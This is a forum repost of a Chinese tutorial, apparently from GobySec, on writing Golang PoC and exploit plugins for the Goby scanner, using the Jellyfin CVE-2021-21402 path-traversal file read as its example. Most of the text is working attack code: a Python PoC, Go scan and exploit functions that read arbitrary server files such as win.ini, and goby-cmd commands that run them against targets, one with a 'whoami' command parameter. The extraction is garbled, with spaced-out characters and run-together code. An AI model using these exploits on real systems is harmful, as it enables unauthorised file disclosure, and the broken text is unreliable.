[17847] 2021-06-09_技术分享快速上手Golang编写PoC&EXP

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-06-09_技术分享快速上手Golang编写PoC&EXP   |     G o l a n g     P o C & E X P   P e i Q i   G o b y S e c   2 0 2 1 - 0 6 - 0 9   #   , 3 G o b y 1 5   1 6 6 5 3         3 0   使   G o b y     J s o n G o b y     G o l a n g       J s o n     G o l a n g   E X P / P O C     0 1   P o C / E X P   G o l a n g     h t t p s : / / w w w . r u n o o b . c o m / g o / g o - t u t o r i a l . h t m l
G o b y   h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e G o b y   h t t p s : / / m p . w e i x i n . q q . c o m / s / H G l 2 t I k p m t V r E j l Y Q g I l 6 g
  0 2 P o C     G o b y   P O C   P O C   使   P y t h o n   P o C   使   G o b y     G o b y     使   P o C   G o b y     E X P     E X P   d e f   P O C _ 1 ( t a r g e t _ u r l ) :         v u l n _ u r l   =   t a r g e t _ u r l   +   " / A u d i o / 1 / h l s / . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C W i n d o w s % 5 C w i n . i n i / s t r e a m . m p 3 / "         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 " ,         }         t r y :                 r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )                 r e s p o n s e   =   r e q u e s t s . g e t ( u r l = v u l n _ u r l ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                 i f   r e s p o n s e . s t a t u s _ c o d e   = =   2 0 0   a n d   " f i l e "   i n   r e s p o n s e . t e x t   a n d   " e x t e n s i o n "   i n   r e s p o n s e . t e x t   a n d   " f o n t "   i n   r e s p o n s e . t e x t :                         p r i n t ( " 0 3 3 [ 3 2 m [ o ]     { }   (   w i n d o w s / w i n . i n i ) ,   : { }   0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ,   v u l n _ u r l ) )                 e l s e :                         p r i n t ( " 0 3 3 [ 3 1 m [ x ]     { }     0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]     { }     0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) ) f u n c ( e x p   * j s o n v u l . J s o n V u l ,   u   * h t t p c l i e n t . F i x U r l ,   s s   * s c a n c o n f i g . S i n g l e S c a n C o n f i g )   b o o l   {             u r i   : =   " / A u d i o / 1 / h l s / . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C W i n d o w s % 5 C w i n . i n i / s t r e a m . m p 3 / "             c f g   : =   h t t p c l i e n t . N e w G e t R e q u e s t C o n f i g ( u r i )             c f g . V e r i f y T l s   =   f a l s e             c f g . F o l l o w R e d i r e c t   =   f a l s e             c f g . H e a d e r . S t o r e ( " C o n t e n t - t y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " )             i f   r e s p ,   e r r   : =   h t t p c l i e n t . D o H t t p R e q u e s t ( u ,   c f g ) ;   e r r   = =   n i l   {                     r e t u r n   r e s p . S t a t u s C o d e   = =   2 0 0   & &   s t r i n g s . C o n t a i n s ( r e s p . U t f 8 H t m l ,   " [ e x t e n s i o n s ] " )   & &   s t r i n g s . C o n t a i n s ( r e s p . U t f 8 H t m l ,   " [ f o n t s ] " )             }             r e t u r n   f a l s e         }
  0 3 3 . 1   使 p a c k a g e   e x p l o i t s i m p o r t   (     " g i t . g o b i e s . o r g / g o b y / g o s c a n n e r / g o u t i l s " ) f u n c   i n i t ( )   {     e x p J s o n   : =   ` {     " N a m e " :   " " ,     " D e s c r i p t i o n " :   " " ,     " P r o d u c t " :   " " ,     " H o m e p a g e " :   " " ,     " D i s c l o s u r e D a t e " :   " 2 0 2 1 - 0 5 - 2 7 " ,     " A u t h o r " :   " " ,     " F o f a Q u e r y " :   " " ,     " L e v e l " :   " " ,     " I m p a c t " :   " " ,     " R e c o m m e n d a t i o n " :   " " ,     " R e f e r e n c e s " :   [         " h t t p : / / f o f a . s o "     ] ,     " H a s E x p " :   f a l s e ,     " E x p P a r a m s " :   n u l l ,     " E x p T i p s " :   {         " T y p e " :   " " ,         " C o n t e n t " :   " "     } ,     " S c a n S t e p s " :   [         " A N D " ,         {             " R e q u e s t " :   {                 " d a t a " :   " " ,                 " d a t a _ t y p e " :   " t e x t " ,                 " f o l l o w _ r e d i r e c t " :   t r u e ,                 " m e t h o d " :   " G E T " ,                 " u r i " :   " / "             } ,             " R e s p o n s e T e s t " :   {                 " c h e c k s " :   [                     {                         " b z " :   " " ,                         " o p e r a t i o n " :   " = = " ,                         " t y p e " :   " i t e m " ,                         " v a l u e " :   " 2 0 0 " ,                         " v a r i a b l e " :   " $ c o d e "                     }                 ] ,                 " o p e r a t i o n " :   " A N D " ,                 " t y p e " :   " g r o u p "             }         }     ] ,     " E x p l o i t S t e p s " :   n u l l ,     " T a g s " :   n u l l ,     " C V E I D s " :   n u l l ,     " C V S S S c o r e " :   " 0 . 0 " ,     " A t t a c k S u r f a c e s " :   {         " A p p l i c a t i o n " :   n u l l ,         " S u p p o r t " :   n u l l ,         " S e r v i c e " :   n u l l ,         " S y s t e m " :   n u l l ,         " H a r d w a r e " :   n u l l     } } `     E x p M a n a g e r . A d d E x p l o i t ( N e w E x p l o i t (         g o u t i l s . G e t F i l e N a m e ( ) ,         e x p J s o n ,         n i l ,         n i l ,
N a m e :   x x x   O A   x x x . p h p   R C E   (   E X P   ) D e s c r i p t i o n :   T h e   a t t a c k e r   c a n   o b t a i n   t h e   s e n s i t i v e   i n f o r m a t i o n   o f   t h e   s e r v e r   t h r o u g h   d i r e c t o r y   t r a v e r s a l P r o d u c t :   x x x   O A H o m e p a g e :   h t t p : / / w w w . x x x . c o m D i s c l o s u r e D a t e   y y y y - m m - d d :   2 0 2 1 - 0 5 - 1 7 A u t h o r P o C   &   E x p   ,   :   P e i Q i G o b y Q u e r y ,   :   a p p = " x x x   O A "   ( F O F A G o b y ) L e v e l 0   1   2   3   I m p a c t R e c o m m e n d a t i o n R e f e r e n c e s H a s E x p   E x p   t r u e     f a l s e   ( E X P ) E x p P a r a m s E x p   S c a n S t e p s J S O N     P o C   E x p l o i t S t e p s J S O N     E x p   T a g s   r c e f i l e r e a d s q l i S Q L   d e f a u l t a c c o u n t i n f o l e a k C V E I D s C V E     [ " C V E - 2 0 2 1 - 0 0 0 1 " ,   " C V E - 2 0 2 1 - 1 0 0 0 " ] C V S S S c o r e C V S S   A t t a c k S u r f a c e s   G i t L a b     W e b     A p p l i c a t i o n   S t r u t s 2     W e b     S u p p o r t   T o m c a t     W e b     S e r v i c e   U b u n t u     S y s t e m   F U J I - X E R O X - P r i n t e r     H a r d w a r e   G o b y Q u e r y   ,   H a s E x p ,   E x p P a r a m s   G o b y       G o b y Q u e r y   :   ( " G o b y Q u e r y " :   " a p p = " k i n g d e e - E A S " " )   :     "     " H a s E X P     E x p P a r a m s   3 . 2   g o b y - c m d . e x e     E X P   使   g o b y - c m d . e x e   (   g o l i b   )   0 4 4 . 1           n i l ,     ) ) } #   使   C V E     C V E I D   . / g o b y - c m d   - m o d e   g e n p o c   - C V E I D   C V E - 2 0 2 1 - 2 1 3 8 0   - e x p o r t F i l e   a . g o #   . / g o b y - c m d   - m o d e   g e n p o c   - C V E I D   C V E - 2 0 2 1 - 2 1 3 8 0   - e x p o r t F i l e   a . g o   - p r o x y   h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 0 8 0 #   使   P o C   . / g o b y - c m d   - m o d e   r u n p o c   - o p e r a t i o n   s c a n   - p o c F i l e   e x p l o i t s u s e r a . g o   - t a r g e t   1 2 7 . 0 . 0 . 1 #     E x p     c m d   . / g o b y - c m d   - m o d e   r u n p o c   - o p e r a t i o n   e x p l o i t   - p o c F i l e   e x p l o i t s u s e r a . g o   - t a r g e t   1 2 7 . 0 . 0 . 1   - p a r a m s   ' { " c m d " : " w h o a m i " } '
使   J e l l y f i n     ( C V E - 2 0 2 1 - 2 1 4 0 2 )   使   G o b y     C V E   使     e x p l o i t s u s e r     P o C     ( F o f a Q u e r y )   G o b y     (   F O F A   t i t l e     b o d y   ) ,     i m p o r t   ,   g o b y - c m d   - m o d e   g e n p o c   - C V E I D   C V E - 2 0 2 1 - 2 1 4 0 2   - e x p o r t F i l e   e x p l o i t s u s e r J e l l y f i n _ A u d i o _ F i l e _ r e a d _ C V E _ 2 0 2 1 _ 2 1 4 0 2 . g o " G o b y Q u e r y " :   " t i t l e = " J e l l y f i n " " , p a c k a g e   e x p l o i t s i m p o r t   (     " g i t . g o b i e s . o r g / g o b y / g o s c a n n e r / g o u t i l s "     " g i t . g o b i e s . o r g / g o b y / g o s c a n n e r / j s o n v u l "     " g i t . g o b i e s . o r g / g o b y / g o s c a n n e r / s c a n c o n f i g "     " g i t . g o b i e s . o r g / g o b y / h t t p c l i e n t "     " s t r i n g s "         " f m t " ) f u n c   i n i t ( )   {     e x p J s o n   : =   ` {     " N a m e " :   " J e l l y f i n   A u d i o   F i l e   r e a d   ( C V E - 2 0 2 1 - 2 1 4 0 2 ) " ,     " D e s c r i p t i o n " :   " J e l l y f i n   i s   a   F r e e   S o f t w a r e   M e d i a   S y s t e m .   I n   J e l l y f i n   b e f o r e   v e r s i o n   1 0 . 7 . 1 ,   w i t h   c e r t a i n   e n d p o i n t s ,   w e l l   c r a f t e d   r e q u e s t s   w i l l   a l l o w   a r b i t r a r y   f i l e   r e a d   f r o m   a   J e l l y f i n   s e r v e r ' s   f i l e   s y s t e m .   T h i s   i s s u e   i s   m o r e   p r e v a l e n t   w h e n   W i n d o w s   i s   u s e d   a s   t h e   h o s t   O S .   S e r v e r s   t h a t   a r e   e x p o s e d   t o   t h e   p u b l i c   I n t e r n e t   a r e   p o t e n t i a l l y   a t   r i s k .   T h i s   i s   f i x e d   i n   v e r s i o n   1 0 . 7 . 1 .   A s   a   w o r k a r o u n d ,   u s e r s   m a y   b e   a b l e   t o   r e s t r i c t   s o m e   a c c e s s   b y   e n f o r c i n g   s t r i c t   s e c u r i t y   p e r m i s s i o n s   o n   t h e i r   f i l e s y s t e m ,   h o w e v e r ,   i t   i s   r e c o m m e n d e d   t o   u p d a t e   a s   s o o n   a s   p o s s i b l e . "     " P r o d u c t " :   " J e l l y f i n " ,     " H o m e p a g e " :   " h t t p s : / / j e l l y f i n . o r g / " ,     " D i s c l o s u r e D a t e " :   " 2 0 2 1 - 0 3 - 2 3 " ,     " A u t h o r " :   " P e i Q i " ,     " G o b y Q u e r y " :   " t i t l e = " J e l l y f i n " " ,     " L e v e l " :   " 2 " ,     " I m p a c t " :   " f i l e r e a d " ,     " R e c o m m e n d a t i o n " :   " U p d a t e   p a t c h e s   i n   t i m e " ,     " R e f e r e n c e s " :   " h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e n a m e . c g i ? n a m e = C V E - 2 0 2 1 - 2 1 4 0 2 " ,     " R e a l R e f e r e n c e s " :   [
  P o C           " h t t p s : / / g i t h u b . c o m / j e l l y f i n / j e l l y f i n / c o m m i t / 0 1 8 3 e f 8 e 8 9 1 9 5 f 4 2 0 c 4 8 d 2 6 0 0 b c 0 b 7 2 f 6 d 3 a 7 f d 7 " ,         " h t t p s : / / g i t h u b . c o m / j e l l y f i n / j e l l y f i n / r e l e a s e s / t a g / v 1 0 . 7 . 1 " ,         " h t t p s : / / g i t h u b . c o m / j e l l y f i n / j e l l y f i n / s e c u r i t y / a d v i s o r i e s / G H S A - w g 4 c - c 9 g 9 - r x h x " ,         " h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 2 1 - 2 1 4 0 2 " ,         " h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e n a m e . c g i ? n a m e = C V E - 2 0 2 1 - 2 1 4 0 2 "     ] ,     " H a s E x p " :   n u l l ,     " E x p P a r a m s " :   n u l l ,     " E x p T i p s " :   {         " T y p e " :   " " ,         " C o n t e n t " :   " "     } ,     " S c a n S t e p s " :   [         " A N D " ,         {             " R e q u e s t " :   {                 " d a t a " :   " " ,                 " d a t a _ t y p e " :   " t e x t " ,                 " f o l l o w _ r e d i r e c t " :   t r u e ,                 " m e t h o d " :   " G E T " ,                 " u r i " :   " / "             } ,             " R e s p o n s e T e s t " :   {                 " c h e c k s " :   [                     {                         " b z " :   " " ,                         " o p e r a t i o n " :   " = = " ,                         " t y p e " :   " i t e m " ,                         " v a l u e " :   " 2 0 0 " ,                         " v a r i a b l e " :   " $ c o d e "                     }                 ] ,                 " o p e r a t i o n " :   " A N D " ,                 " t y p e " :   " g r o u p "             }         }     ] ,     " E x p l o i t S t e p s " :   n u l l ,     " T a g s " :   [ " F i l e   r e a d " ] ,     " C V E I D s " :   [         " C V E - 2 0 2 1 - 2 1 4 0 2 "     ] ,     " C V S S S c o r e " :   " 6 . 5 " ,     " A t t a c k S u r f a c e s " :   {         " A p p l i c a t i o n " :   [ " J e l l y f i n " ] ,         " S u p p o r t " :   n u l l ,         " S e r v i c e " :   n u l l ,         " S y s t e m " :   n u l l ,         " H a r d w a r e " :   n u l l     } ,     " D i s a b l e " :   f a l s e } `     g o p o c . E x p M a n a g e r . A d d E x p l o i t ( g o p o c . N e w E x p l o i t (         g o u t i l s . G e t F i l e N a m e ( ) ,         e x p J s o n ,         n i l ,         n i l ,     ) ) } G E T   / A u d i o / 1 / h l s / . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C W i n d o w s % 5 C w i n . i n i / s t r e a m . m p 3 /
  P o C   &   E X P     P o C     u r i     c f g     h e a d e r   u r i 访 h t t p c l i e n t . N e w G e t R e q u e s t C o n f i g   G E T   h t t p c l i e n t . N e w P o s t R e q u e s t C o n f i g   P O S T   c f g . V e r i f y T l s c f g . F o l l o w R e d i r e c t c f g . H e a d e r . S t o r e   C o n t e n t - t y p e   c f g . D a t a P O S T       c f g . D a t a   =   " D a t a " h t t p c l i e n t . D o H t t p R e q u e s t ( u ,   c f g )   c f g   u r i   r e s p . S t a t u s C o d e r e s p . U t f 8 H t m l r e s p . H e a d e . G e t ( " C o o k i e " ) C o o k i e     2 0 0         w i n . i n i     [ e x t e n s i o n s ]       [ f o n t s ]       t r u e   E x p M a n a g e r . A d d E x p l o i t ( N e w E x p l o i t (         g o u t i l s . G e t F i l e N a m e ( ) ,         e x p J s o n ,         f u n c ( e x p   * j s o n v u l . J s o n V u l ,   u   * h t t p c l i e n t . F i x U r l ,   s s   * s c a n c o n f i g . S i n g l e S c a n C o n f i g )   b o o l   {             r e t u r n   f a l s e         } ,         f u n c ( e x p R e s u l t   * j s o n v u l . E x p l o i t R e s u l t ,   s s   * s c a n c o n f i g . S i n g l e S c a n C o n f i g )   * j s o n v u l . E x p l o i t R e s u l t   {             r e t u r n   e x p R e s u l t         } ,     ) ) f u n c ( e x p   * j s o n v u l . J s o n V u l ,   u   * h t t p c l i e n t . F i x U r l ,   s s   * s c a n c o n f i g . S i n g l e S c a n C o n f i g )   b o o l   {             u r i   : =   " / A u d i o / 1 / h l s / . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C W i n d o w s % 5 C w i n . i n i / s t r e a m . m p 3 / "             c f g   : =   h t t p c l i e n t . N e w G e t R e q u e s t C o n f i g ( u r i )             c f g . V e r i f y T l s   =   f a l s e             c f g . F o l l o w R e d i r e c t   =   f a l s e             c f g . H e a d e r . S t o r e ( " C o n t e n t - t y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " )             i f   r e s p ,   e r r   : =   h t t p c l i e n t . D o H t t p R e q u e s t ( u ,   c f g ) ;   e r r   = =   n i l   {                         r e t u r n   r e s p . S t a t u s C o d e   = =   2 0 0   & &   s t r i n g s . C o n t a i n s ( r e s p . U t f 8 H t m l ,   " [ e x t e n s i o n s ] " )   & &   s t r i n g s . C o n t a i n s ( r e s p . U t f 8 H t m l ,   " [ f o n t s ] " )                     }                     r e t u r n   f a l s e         } , r e t u r n   r e s p . S t a t u s C o d e   = =   2 0 0   & &   s t r i n g s . C o n t a i n s ( r e s p . U t f 8 H t m l ,   " [ e x t e n s i o n s ] " )   & &   s t r i n g s . C o n t a i n s ( r e s p . U t f 8 H t m l ,   " [ f o n t s ] " ) g o b y - c m d . e x e   - m o d e   r u n p o c   - o p e r a t i o n   s c a n   - p o c F i l e   e x p l o i t s u s e r J e l l y f i n _ A u d i o _ F i l e _ r e a d _ C V E _ 2 0 2 1 _ 2 1 4 0 2 . g o   - t a r g e t   h t t p : / / x x x . x x x . x x x . x x x
  P o C   E X P 便   H a s E x p     t r u e     G o b y     E X P     E X P   H a s E x p   t r u e     E X P " t y p e " :   " i n p u t "   p a y l o a d " t y p e " :   " s e l e c t " p a y l o a d " v a l u e " :   " w i n d o w s / w i n . i n i " E X P f i l e   : =   s s . P a r a m s [ " F i l e " ] . ( s t r i n g )   F i l e   f i l e   =   u r l . Q u e r y E s c a p e ( f i l e ) U r l   f m t . P r i n t l n ( f i l e ) h t t p c l i e n t . D o H t t p R e q u e s t ( e x p R e s u l t . H o s t I n f o ,   c f g )   E X P   e x p R e s u l t . O u t p u t   =   r e s p . U t f 8 H t m l e x p R e s u l t . S u c c e s s   =   t r u e   E X P     w i n d o w s / w i n . i n i     E X P   g o b y - c m d . e x e   - m o d e   r u n p o c   - o p e r a t i o n   s c a n   - p o c F i l e   e x p l o i t s u s e r J e l l y f i n _ A u d i o _ F i l e _ r e a d _ C V E _ 2 0 2 1 _ 2 1 4 0 2 . g o   - t a r g e t   h t t p : / / x x x . x x x . x x x . x x x " H a s E x p " :   t r u e , " E x p P a r a m s " :   [         {             " n a m e " :   " F i l e " ,             " t y p e " :   " i n p u t " ,             " v a l u e " :   " w i n d o w s / w i n . i n i "         } ] , f u n c ( e x p R e s u l t   * j s o n v u l . E x p l o i t R e s u l t ,   s s   * s c a n c o n f i g . S i n g l e S c a n C o n f i g )   * j s o n v u l . E x p l o i t R e s u l t   {             f i l e   : =   s s . P a r a m s [ " F i l e " ] . ( s t r i n g )             f i l e   =   s t r i n g s . R e p l a c e ( f i l e ,   " / " ,   " " ,   - 1 )             f i l e   =   u r l . Q u e r y E s c a p e ( f i l e )             u r i   : =   " / A u d i o / 1 / h l s / . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C "   +   f i l e   +   " / s t r e a m . m p 3 / "             c f g   : =   h t t p c l i e n t . N e w G e t R e q u e s t C o n f i g ( u r i )             c f g . V e r i f y T l s   =   f a l s e             c f g . F o l l o w R e d i r e c t   =   f a l s e             c f g . H e a d e r . S t o r e ( " C o n t e n t - t y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " )             i f   r e s p ,   e r r   : =   h t t p c l i e n t . D o H t t p R e q u e s t ( e x p R e s u l t . H o s t I n f o ,   c f g ) ;   e r r   = =   n i l   {                 i f   r e s p . S t a t u s C o d e   = =   2 0 0   {                     e x p R e s u l t . O u t p u t   =   r e s p . U t f 8 H t m l                     e x p R e s u l t . S u c c e s s   =   t r u e                 }             }             r e t u r n   e x p R e s u l t } , / /       i m p o r t / /   " n e t / u r l "     U r l / /   " s t r i n g s "     / /   " f m t "         / /   " r e g e x p "        
p a c k a g e   e x p l o i t s i m p o r t   (     " f m t "     " g i t . g o b i e s . o r g / g o b y / g o s c a n n e r / g o u t i l s "     " g i t . g o b i e s . o r g / g o b y / g o s c a n n e r / j s o n v u l "     " g i t . g o b i e s . o r g / g o b y / g o s c a n n e r / s c a n c o n f i g "     " g i t . g o b i e s . o r g / g o b y / h t t p c l i e n t "     " n e t / u r l "     " s t r i n g s " ) f u n c   i n i t ( )   {     e x p J s o n   : =   ` {     " N a m e " :   " J e l l y f i n   A u d i o   F i l e   r e a d   ( C V E - 2 0 2 1 - 2 1 4 0 2 ) " ,     " D e s c r i p t i o n " :   " J e l l y f i n   i s   a   F r e e   S o f t w a r e   M e d i a   S y s t e m .   I n   J e l l y f i n   b e f o r e   v e r s i o n   1 0 . 7 . 1 ,   w i t h   c e r t a i n   e n d p o i n t s ,   w e l l   c r a f t e d   r e q u e s t s   w i l l   a l l o w   a r b i t r a r y   f i l e   r e a d   f r o m   a   J e l l y f i n   s e r v e r ' s   f i l e   s y s t e m .   T h i s   i s s u e   i s   m o r e   p r e v a l e n t   w h e n   W i n d o w s   i s   u s e d   a s   t h e   h o s t   O S .   S e r v e r s   t h a t   a r e   e x p o s e d   t o   t h e   p u b l i c   I n t e r n e t   a r e   p o t e n t i a l l y   a t   r i s k .   T h i s   i s   f i x e d   i n   v e r s i o n   1 0 . 7 . 1 .   A s   a   w o r k a r o u n d ,   u s e r s   m a y   b e   a b l e   t o   r e s t r i c t   s o m e   a c c e s s   b y   e n f o r c i n g   s t r i c t   s e c u r i t y   p e r m i s s i o n s   o n   t h e i r   f i l e s y s t e m ,   h o w e v e r ,   i t   i s   r e c o m m e n d e d   t o   u p d a t e   a s   s o o n   a s   p o s s i b l e . "     " P r o d u c t " :   " J e l l y f i n " ,     " H o m e p a g e " :   " h t t p s : / / j e l l y f i n . o r g / " ,     " D i s c l o s u r e D a t e " :   " 2 0 2 1 - 0 3 - 2 3 " ,     " A u t h o r " :   " P e i Q i " ,     " G o b y Q u e r y " :   " t i t l e = " J e l l y f i n " " ,     " L e v e l " :   " 2 " ,     " I m p a c t " :   " f i l e r e a d " ,     " R e c o m m e n d a t i o n " :   " U p d a t e   p a t c h e s   i n   t i m e " ,     " R e f e r e n c e s " :   " h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e n a m e . c g i ? n a m e = C V E - 2 0 2 1 - 2 1 4 0 2 " ,     " R e a l R e f e r e n c e s " :   [         " h t t p s : / / g i t h u b . c o m / j e l l y f i n / j e l l y f i n / c o m m i t / 0 1 8 3 e f 8 e 8 9 1 9 5 f 4 2 0 c 4 8 d 2 6 0 0 b c 0 b 7 2 f 6 d 3 a 7 f d 7 " ,         " h t t p s : / / g i t h u b . c o m / j e l l y f i n / j e l l y f i n / r e l e a s e s / t a g / v 1 0 . 7 . 1 " ,         " h t t p s : / / g i t h u b . c o m / j e l l y f i n / j e l l y f i n / s e c u r i t y / a d v i s o r i e s / G H S A - w g 4 c - c 9 g 9 - r x h x " ,         " h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 2 1 - 2 1 4 0 2 " ,         " h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e n a m e . c g i ? n a m e = C V E - 2 0 2 1 - 2 1 4 0 2 "     ] ,     " H a s E x p " :   t r u e ,     " E x p P a r a m s " :   [         {             " n a m e " :   " F i l e " ,             " t y p e " :   " i n p u t " ,             " v a l u e " :   " w i n d o w s / w i n . i n i "         }     ] ,     " E x p T i p s " :   {         " T y p e " :   " " ,         " C o n t e n t " :   " "     } ,     " S c a n S t e p s " :   [         " A N D " ,         {             " R e q u e s t " :   {                 " d a t a " :   " " ,                 " d a t a _ t y p e " :   " t e x t " ,                 " f o l l o w _ r e d i r e c t " :   t r u e ,                 " m e t h o d " :   " G E T " ,                 " u r i " :   " / "             } ,             " R e s p o n s e T e s t " :   {                 " c h e c k s " :   [                     {                         " b z " :   " " ,                         " o p e r a t i o n " :   " = = " ,                         " t y p e " :   " i t e m " ,                         " v a l u e " :   " 2 0 0 " ,                         " v a r i a b l e " :   " $ c o d e "                     }                 ] ,                 " o p e r a t i o n " :   " A N D " ,                 " t y p e " :   " g r o u p "             }         }     ] ,     " E x p l o i t S t e p s " :   n u l l ,     " T a g s " :   [ " F i l e   r e a d " ] ,     " C V E I D s " :   [         " C V E - 2 0 2 1 - 2 1 4 0 2 "     ] ,     " C V S S S c o r e " :   " 6 . 5 " ,     " A t t a c k S u r f a c e s " :   {         " A p p l i c a t i o n " :   [ " J e l l y f i n " ] ,         " S u p p o r t " :   n u l l ,         " S e r v i c e " :   n u l l ,         " S y s t e m " :   n u l l ,         " H a r d w a r e " :   n u l l
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则